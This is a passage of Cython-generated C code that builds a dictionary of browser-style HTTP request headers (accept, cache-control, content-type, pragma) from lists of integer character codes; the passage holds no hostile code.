    __Pyx_GIVEREF(__pyx_int_109);
    PyList_SET_ITEM(__pyx_t_9, 66, __pyx_int_109);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_9, 67, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_103);
    __Pyx_GIVEREF(__pyx_int_103);
    PyList_SET_ITEM(__pyx_t_9, 68, __pyx_int_103);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_9, 69, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_47);
    __Pyx_GIVEREF(__pyx_int_47);
    PyList_SET_ITEM(__pyx_t_9, 70, __pyx_int_47);
    __Pyx_INCREF(__pyx_int_119);
    __Pyx_GIVEREF(__pyx_int_119);
    PyList_SET_ITEM(__pyx_t_9, 71, __pyx_int_119);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_9, 72, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_98);
    __Pyx_GIVEREF(__pyx_int_98);
    PyList_SET_ITEM(__pyx_t_9, 73, __pyx_int_98);
    __Pyx_INCREF(__pyx_int_112);
    __Pyx_GIVEREF(__pyx_int_112);
    PyList_SET_ITEM(__pyx_t_9, 74, __pyx_int_112);
    __Pyx_INCREF(__pyx_int_44);
    __Pyx_GIVEREF(__pyx_int_44);
    PyList_SET_ITEM(__pyx_t_9, 75, __pyx_int_44);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_9, 76, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_109);
    __Pyx_GIVEREF(__pyx_int_109);
    PyList_SET_ITEM(__pyx_t_9, 77, __pyx_int_109);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_9, 78, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_103);
    __Pyx_GIVEREF(__pyx_int_103);
    PyList_SET_ITEM(__pyx_t_9, 79, __pyx_int_103);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_9, 80, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_47);
    __Pyx_GIVEREF(__pyx_int_47);
    PyList_SET_ITEM(__pyx_t_9, 81, __pyx_int_47);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_9, 82, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_112);
    __Pyx_GIVEREF(__pyx_int_112);
    PyList_SET_ITEM(__pyx_t_9, 83, __pyx_int_112);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_9, 84, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_103);
    __Pyx_GIVEREF(__pyx_int_103);
    PyList_SET_ITEM(__pyx_t_9, 85, __pyx_int_103);
    __Pyx_INCREF(__pyx_int_44);
    __Pyx_GIVEREF(__pyx_int_44);
    PyList_SET_ITEM(__pyx_t_9, 86, __pyx_int_44);
    __Pyx_INCREF(__pyx_int_42);
    __Pyx_GIVEREF(__pyx_int_42);
    PyList_SET_ITEM(__pyx_t_9, 87, __pyx_int_42);
    __Pyx_INCREF(__pyx_int_47);
    __Pyx_GIVEREF(__pyx_int_47);
    PyList_SET_ITEM(__pyx_t_9, 88, __pyx_int_47);
    __Pyx_INCREF(__pyx_int_42);
    __Pyx_GIVEREF(__pyx_int_42);
    PyList_SET_ITEM(__pyx_t_9, 89, __pyx_int_42);
    __Pyx_INCREF(__pyx_int_59);
    __Pyx_GIVEREF(__pyx_int_59);
    PyList_SET_ITEM(__pyx_t_9, 90, __pyx_int_59);
    __Pyx_INCREF(__pyx_int_113);
    __Pyx_GIVEREF(__pyx_int_113);
    PyList_SET_ITEM(__pyx_t_9, 91, __pyx_int_113);
    __Pyx_INCREF(__pyx_int_61);
    __Pyx_GIVEREF(__pyx_int_61);
    PyList_SET_ITEM(__pyx_t_9, 92, __pyx_int_61);
    __Pyx_INCREF(__pyx_int_48);
    __Pyx_GIVEREF(__pyx_int_48);
    PyList_SET_ITEM(__pyx_t_9, 93, __pyx_int_48);
    __Pyx_INCREF(__pyx_int_46);
    __Pyx_GIVEREF(__pyx_int_46);
    PyList_SET_ITEM(__pyx_t_9, 94, __pyx_int_46);
    __Pyx_INCREF(__pyx_int_56);
    __Pyx_GIVEREF(__pyx_int_56);
    PyList_SET_ITEM(__pyx_t_9, 95, __pyx_int_56);
    __Pyx_INCREF(__pyx_int_44);
    __Pyx_GIVEREF(__pyx_int_44);
    PyList_SET_ITEM(__pyx_t_9, 96, __pyx_int_44);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_9, 97, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_112);
    __Pyx_GIVEREF(__pyx_int_112);
    PyList_SET_ITEM(__pyx_t_9, 98, __pyx_int_112);
    __Pyx_INCREF(__pyx_int_112);
    __Pyx_GIVEREF(__pyx_int_112);
    PyList_SET_ITEM(__pyx_t_9, 99, __pyx_int_112);
    __Pyx_INCREF(__pyx_int_108);
    __Pyx_GIVEREF(__pyx_int_108);
    PyList_SET_ITEM(__pyx_t_9, 100, __pyx_int_108);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_9, 101, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_9, 102, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_9, 103, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_9, 104, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_9, 105, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_9, 106, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_9, 107, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_47);
    __Pyx_GIVEREF(__pyx_int_47);
    PyList_SET_ITEM(__pyx_t_9, 108, __pyx_int_47);
    __Pyx_INCREF(__pyx_int_115);
    __Pyx_GIVEREF(__pyx_int_115);
    PyList_SET_ITEM(__pyx_t_9, 109, __pyx_int_115);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_9, 110, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_103);
    __Pyx_GIVEREF(__pyx_int_103);
    PyList_SET_ITEM(__pyx_t_9, 111, __pyx_int_103);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_9, 112, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_9, 113, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_100);
    __Pyx_GIVEREF(__pyx_int_100);
    PyList_SET_ITEM(__pyx_t_9, 114, __pyx_int_100);
    __Pyx_INCREF(__pyx_int_45);
    __Pyx_GIVEREF(__pyx_int_45);
    PyList_SET_ITEM(__pyx_t_9, 115, __pyx_int_45);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_9, 116, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_120);
    __Pyx_GIVEREF(__pyx_int_120);
    PyList_SET_ITEM(__pyx_t_9, 117, __pyx_int_120);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_9, 118, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_104);
    __Pyx_GIVEREF(__pyx_int_104);
    PyList_SET_ITEM(__pyx_t_9, 119, __pyx_int_104);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_9, 120, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_9, 121, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_103);
    __Pyx_GIVEREF(__pyx_int_103);
    PyList_SET_ITEM(__pyx_t_9, 122, __pyx_int_103);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_9, 123, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_59);
    __Pyx_GIVEREF(__pyx_int_59);
    PyList_SET_ITEM(__pyx_t_9, 124, __pyx_int_59);
    __Pyx_INCREF(__pyx_int_118);
    __Pyx_GIVEREF(__pyx_int_118);
    PyList_SET_ITEM(__pyx_t_9, 125, __pyx_int_118);
    __Pyx_INCREF(__pyx_int_61);
    __Pyx_GIVEREF(__pyx_int_61);
    PyList_SET_ITEM(__pyx_t_9, 126, __pyx_int_61);
    __Pyx_INCREF(__pyx_int_98);
    __Pyx_GIVEREF(__pyx_int_98);
    PyList_SET_ITEM(__pyx_t_9, 127, __pyx_int_98);
    __Pyx_INCREF(__pyx_int_51);
    __Pyx_GIVEREF(__pyx_int_51);
    PyList_SET_ITEM(__pyx_t_9, 128, __pyx_int_51);
    __Pyx_INCREF(__pyx_int_59);
    __Pyx_GIVEREF(__pyx_int_59);
    PyList_SET_ITEM(__pyx_t_9, 129, __pyx_int_59);
    __Pyx_INCREF(__pyx_int_113);
    __Pyx_GIVEREF(__pyx_int_113);
    PyList_SET_ITEM(__pyx_t_9, 130, __pyx_int_113);
    __Pyx_INCREF(__pyx_int_61);
    __Pyx_GIVEREF(__pyx_int_61);
    PyList_SET_ITEM(__pyx_t_9, 131, __pyx_int_61);
    __Pyx_INCREF(__pyx_int_48);
    __Pyx_GIVEREF(__pyx_int_48);
    PyList_SET_ITEM(__pyx_t_9, 132, __pyx_int_48);
    __Pyx_INCREF(__pyx_int_46);
    __Pyx_GIVEREF(__pyx_int_46);
    PyList_SET_ITEM(__pyx_t_9, 133, __pyx_int_46);
    __Pyx_INCREF(__pyx_int_55);
    __Pyx_GIVEREF(__pyx_int_55);
    PyList_SET_ITEM(__pyx_t_9, 134, __pyx_int_55);
    __pyx_t_2 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_9); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 490, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_2);
    __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0;
    __pyx_t_9 = __Pyx_decode_bytes(__pyx_t_2, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 490, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_9);
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
    if (PyDict_SetItem(__pyx_t_1, __pyx_t_5, __pyx_t_9) < 0) __PYX_ERR(0, 490, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
    __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0;

    
    __pyx_t_9 = PyList_New(13); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 491, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_9);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_9, 0, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_9, 1, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_9, 2, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_104);
    __Pyx_GIVEREF(__pyx_int_104);
    PyList_SET_ITEM(__pyx_t_9, 3, __pyx_int_104);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_9, 4, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_45);
    __Pyx_GIVEREF(__pyx_int_45);
    PyList_SET_ITEM(__pyx_t_9, 5, __pyx_int_45);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_9, 6, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_9, 7, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_9, 8, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_9, 9, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_114);
    __Pyx_GIVEREF(__pyx_int_114);
    PyList_SET_ITEM(__pyx_t_9, 10, __pyx_int_114);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_9, 11, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_108);
    __Pyx_GIVEREF(__pyx_int_108);
    PyList_SET_ITEM(__pyx_t_9, 12, __pyx_int_108);
    __pyx_t_5 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_9); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 491, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0;
    __pyx_t_9 = __Pyx_decode_bytes(__pyx_t_5, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 491, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_9);
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
    __pyx_t_5 = PyList_New(8); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 491, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_5, 0, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_5, 1, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_45);
    __Pyx_GIVEREF(__pyx_int_45);
    PyList_SET_ITEM(__pyx_t_5, 2, __pyx_int_45);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_5, 3, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_5, 4, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_5, 5, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_104);
    __Pyx_GIVEREF(__pyx_int_104);
    PyList_SET_ITEM(__pyx_t_5, 6, __pyx_int_104);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_5, 7, __pyx_int_101);
    __pyx_t_2 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_5); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 491, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_2);
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
    __pyx_t_5 = __Pyx_decode_bytes(__pyx_t_2, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 491, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
    if (PyDict_SetItem(__pyx_t_1, __pyx_t_9, __pyx_t_5) < 0) __PYX_ERR(0, 490, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0;
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;

    
    __pyx_t_5 = PyList_New(12); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 492, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_5, 0, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_5, 1, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_5, 2, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_5, 3, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_5, 4, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_5, 5, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_5, 6, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_45);
    __Pyx_GIVEREF(__pyx_int_45);
    PyList_SET_ITEM(__pyx_t_5, 7, __pyx_int_45);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_5, 8, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_121);
    __Pyx_GIVEREF(__pyx_int_121);
    PyList_SET_ITEM(__pyx_t_5, 9, __pyx_int_121);
    __Pyx_INCREF(__pyx_int_112);
    __Pyx_GIVEREF(__pyx_int_112);
    PyList_SET_ITEM(__pyx_t_5, 10, __pyx_int_112);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_5, 11, __pyx_int_101);
    __pyx_t_9 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_5); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 492, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_9);
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
    __pyx_t_5 = __Pyx_decode_bytes(__pyx_t_9, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 492, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0;
    __pyx_t_9 = PyList_New(33); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 492, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_9);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_9, 0, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_112);
    __Pyx_GIVEREF(__pyx_int_112);
    PyList_SET_ITEM(__pyx_t_9, 1, __pyx_int_112);
    __Pyx_INCREF(__pyx_int_112);
    __Pyx_GIVEREF(__pyx_int_112);
    PyList_SET_ITEM(__pyx_t_9, 2, __pyx_int_112);
    __Pyx_INCREF(__pyx_int_108);
    __Pyx_GIVEREF(__pyx_int_108);
    PyList_SET_ITEM(__pyx_t_9, 3, __pyx_int_108);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_9, 4, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_9, 5, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_9, 6, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_9, 7, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_9, 8, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_9, 9, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_9, 10, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_47);
    __Pyx_GIVEREF(__pyx_int_47);
    PyList_SET_ITEM(__pyx_t_9, 11, __pyx_int_47);
    __Pyx_INCREF(__pyx_int_120);
    __Pyx_GIVEREF(__pyx_int_120);
    PyList_SET_ITEM(__pyx_t_9, 12, __pyx_int_120);
    __Pyx_INCREF(__pyx_int_45);
    __Pyx_GIVEREF(__pyx_int_45);
    PyList_SET_ITEM(__pyx_t_9, 13, __pyx_int_45);
    __Pyx_INCREF(__pyx_int_119);
    __Pyx_GIVEREF(__pyx_int_119);
    PyList_SET_ITEM(__pyx_t_9, 14, __pyx_int_119);
    __Pyx_INCREF(__pyx_int_119);
    __Pyx_GIVEREF(__pyx_int_119);
    PyList_SET_ITEM(__pyx_t_9, 15, __pyx_int_119);
    __Pyx_INCREF(__pyx_int_119);
    __Pyx_GIVEREF(__pyx_int_119);
    PyList_SET_ITEM(__pyx_t_9, 16, __pyx_int_119);
    __Pyx_INCREF(__pyx_int_45);
    __Pyx_GIVEREF(__pyx_int_45);
    PyList_SET_ITEM(__pyx_t_9, 17, __pyx_int_45);
    __Pyx_INCREF(__pyx_int_102);
    __Pyx_GIVEREF(__pyx_int_102);
    PyList_SET_ITEM(__pyx_t_9, 18, __pyx_int_102);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_9, 19, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_114);
    __Pyx_GIVEREF(__pyx_int_114);
    PyList_SET_ITEM(__pyx_t_9, 20, __pyx_int_114);
    __Pyx_INCREF(__pyx_int_109);
    __Pyx_GIVEREF(__pyx_int_109);
    PyList_SET_ITEM(__pyx_t_9, 21, __pyx_int_109);
    __Pyx_INCREF(__pyx_int_45);
    __Pyx_GIVEREF(__pyx_int_45);
    PyList_SET_ITEM(__pyx_t_9, 22, __pyx_int_45);
    __Pyx_INCREF(__pyx_int_117);
    __Pyx_GIVEREF(__pyx_int_117);
    PyList_SET_ITEM(__pyx_t_9, 23, __pyx_int_117);
    __Pyx_INCREF(__pyx_int_114);
    __Pyx_GIVEREF(__pyx_int_114);
    PyList_SET_ITEM(__pyx_t_9, 24, __pyx_int_114);
    __Pyx_INCREF(__pyx_int_108);
    __Pyx_GIVEREF(__pyx_int_108);
    PyList_SET_ITEM(__pyx_t_9, 25, __pyx_int_108);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_9, 26, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_9, 27, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_9, 28, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_9, 29, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_100);
    __Pyx_GIVEREF(__pyx_int_100);
    PyList_SET_ITEM(__pyx_t_9, 30, __pyx_int_100);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_9, 31, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_100);
    __Pyx_GIVEREF(__pyx_int_100);
    PyList_SET_ITEM(__pyx_t_9, 32, __pyx_int_100);
    __pyx_t_2 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_9); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 492, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_2);
    __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0;
    __pyx_t_9 = __Pyx_decode_bytes(__pyx_t_2, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 492, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_9);
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
    if (PyDict_SetItem(__pyx_t_1, __pyx_t_5, __pyx_t_9) < 0) __PYX_ERR(0, 490, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
    __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0;

    
    __pyx_t_9 = PyList_New(6); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 493, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_9);
    __Pyx_INCREF(__pyx_int_112);
    __Pyx_GIVEREF(__pyx_int_112);
    PyList_SET_ITEM(__pyx_t_9, 0, __pyx_int_112);
    __Pyx_INCREF(__pyx_int_114);
    __Pyx_GIVEREF(__pyx_int_114);
    PyList_SET_ITEM(__pyx_t_9, 1, __pyx_int_114);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_9, 2, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_103);
    __Pyx_GIVEREF(__pyx_int_103);
    PyList_SET_ITEM(__pyx_t_9, 3, __pyx_int_103);
    __Pyx_INCREF(__pyx_int_109);
    __Pyx_GIVEREF(__pyx_int_109);
    PyList_SET_ITEM(__pyx_t_9, 4, __pyx_int_109);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_9, 5, __pyx_int_97);
    __pyx_t_5 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_9); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 493, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0;
    __pyx_t_9 = __Pyx_decode_bytes(__pyx_t_5, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 493, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_9);
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
    __pyx_t_5 = PyList_New(8); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 493, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_5, 0, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_5, 1, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_45);
    __Pyx_GIVEREF(__pyx_int_45);
    PyList_SET_ITEM(__pyx_t_5, 2, __pyx_int_45);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_5, 3, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_5, 4, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_5, 5, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_104);
    __Pyx_GIVEREF(__pyx_int_104);
    PyList_SET_ITEM(__pyx_t_5, 6, __pyx_int_104);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_5, 7, __pyx_int_101);
